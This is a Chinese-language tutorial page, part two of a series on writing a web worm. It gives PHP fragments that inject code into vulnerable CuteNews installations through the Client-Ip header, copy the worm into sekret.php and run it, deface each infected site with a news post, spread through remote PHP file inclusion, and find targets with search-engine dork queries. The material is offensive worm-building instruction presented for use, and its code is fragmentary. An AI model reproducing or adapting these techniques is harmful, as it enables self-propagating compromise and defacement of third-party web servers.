教你编写WEB蠕虫(2)

http://www.itjxue.com  2015-07-16 23:59  来源:未知  点击次数: 

  如果我们创建了这些请求,那么就可以通过Client-Ip将PHP代码写入到flood.db.php文件中,然后我们就可以通过一个正规的GET请求来执行代码了。既然可以将PHP代码执行的过程自动化,那么我们就可以开始着手准备去如何编写病毒代码,以实现其自我繁殖并植入payload的功能。下面的例子将复制整个蠕虫代码到漏洞服务器上的sekret.php文件中,以备运行。你可以在Client-Ip未端添加一些payload,通过运行sekret.php使其在news.txt顶端中添加一新标题,让每个存在漏洞的CuteNews站点都发表一新闻帖。

  $source = str_replace("\$", "\\\$",str_replace("\"", "\\\"",str_replace("\\",

  "\\\\",file_get_contents($_SERVER['PHP_SELF']))));

  ...

  Client-Ip:

  \"$source\");fclose(\$fp); ?>\r\n ...

  ...

  for ($i=0;$i<2;$i++) { $bob = make_request($domain, $packet); }

  make_request($domain, "GET $location/data/flood.db.php HTTP/1.1\r\nHost:

  $domain\r\nConnection: close\r\n\r\n");

  其它感染方式:PHP文件包含

  关于将PHP文件包含漏洞的处理自动化的技术也并不是很难,通常我们粗劣写出来的PHP脚本都普遍含有这样一段代码,该代码存在远程PHP代码执行漏洞,我们可以将一小段PHP代码作为GET 变量'page'的值,然后通过URL进行传输。这样我们的通过URL来发送HTTP GET request 以使其在其它服务器上自行运行,蠕虫就可以在WEB的根目录下的一些地方进行自我复制了。

  $fp = fopen("sekret.txt", "w");

  fwrite($fp, file_get_contents($_SERVER['PHP_SELF']));

  fclose($fp);

  $url = $_SERVER['SCRIPT_URI'];

  make_request($domain, "GET /test.php?path=$url HTTP/1.1\r\nHost:

  $domain\r\nConnection: close\r\n\r\n");

  其它感染方式:SQL

  其它感染方式:JavaScript / XSS

  ===搜集目标===

  在worm开发期间,最为明智的做法是将实际的利用代码与目标搜集代码相分离开来。你可以在自己的机器上或局域网内,使用类似下列的代码进行测试:

  function gather_targets() {

  return array("http://localhost/cutenews");

  }

  基于web蠕虫的意图,通过搜索引擎去寻找潜在的目标是很有必要的。你可以很容易地写出一些请求,并通过URLs让网站执行特定软件。这可以通过网页收集代码来产生一组包含可被worm感染的目标数组,以此实现其自动化。

  $search = array("inurl:flood.db.php", "\"powered by cutenews v1.3\"",

  "\"/cutenews/remote_headlines.php\"", "\"powered by CuteNews\" \"2003..2005

  CutePHP\"", "inurl:\"/newsarchive.php?archive\"");

  $query = $search[rand(0, count($search)-1)];

  通过构造HTTP requests,你就可以从搜索引擎中获得搜索结果,然后从返回的网址中寻找合适的目标。

(责任编辑:IT教学网)

更多